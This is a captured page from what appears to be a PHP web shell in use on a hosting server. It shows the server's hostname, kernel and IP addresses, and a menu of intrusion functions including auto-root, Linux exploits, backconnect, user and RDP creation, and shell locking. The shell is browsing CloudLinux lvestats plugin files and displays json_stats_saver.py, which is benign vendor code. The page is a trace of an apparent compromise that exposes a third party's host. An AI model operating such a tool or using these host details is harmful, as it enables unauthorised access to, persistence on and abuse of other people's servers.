Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.119.131.235
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
lvestats /
plugins /
other /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
197
B
-rw-r--r--
json_stats_saver.py
1.96
KB
-rw-r--r--
lvedestroyer.py
3.66
KB
-rw-r--r--
res_mem_collector.py
2.94
KB
-rw-r--r--
v1_db_migrator.py
19.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : json_stats_saver.py
# coding=utf-8 # # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import import datetime import os import platform from lvestat import LVEStat from lvestats.core.plugin import LveStatsPlugin class LVEStatsData(LveStatsPlugin): """lve_stats_data encapsulates LVE data gathered from /proc/lve/list.""" order = 1750 def __init__(self, dump_dir="/var/lve/json-stats"): self.period = 60 self.attributes = set(slot for slot in LVEStat.__slots__ if not slot.startswith('_')) - {'id'} self.timestamp = '' self.dump_dir = dump_dir if not os.path.exists(self.dump_dir): os.makedirs(self.dump_dir) def _set_timestamp(self, tstmp=None): if tstmp: self.timestamp = tstmp else: self.timestamp = datetime.datetime.utcnow().isoformat() def format_json(self, lve_usages): """Returns LVE usage data contained in this object in JSON format.""" lve_json_set = [] for lve_id, lve in lve_usages.items(): lve_json_element = '{ "id": "%s"' % lve_id for lve_attr in dir(lve): if lve_attr in self.attributes: lve_json_element += ', "%s": "%s"' % (lve_attr, getattr(lve, lve_attr)) lve_json_element += ' }' lve_json_set.append(lve_json_element) result = '{ ' result += '"hostname": "%s", ' % platform.node() result += '"timestamp": "%s", ' % self.timestamp result += '"data": [ ' + ', '.join(lve_json_set) + ' ]' result += ' }' return result def execute(self, lve_data): usages = lve_data.get('stats', {}) self._set_timestamp() name = self.dump_dir + "/stat." + self.timestamp f = open(name, 'w') f.write(self.format_json(usages)) f.close()
Close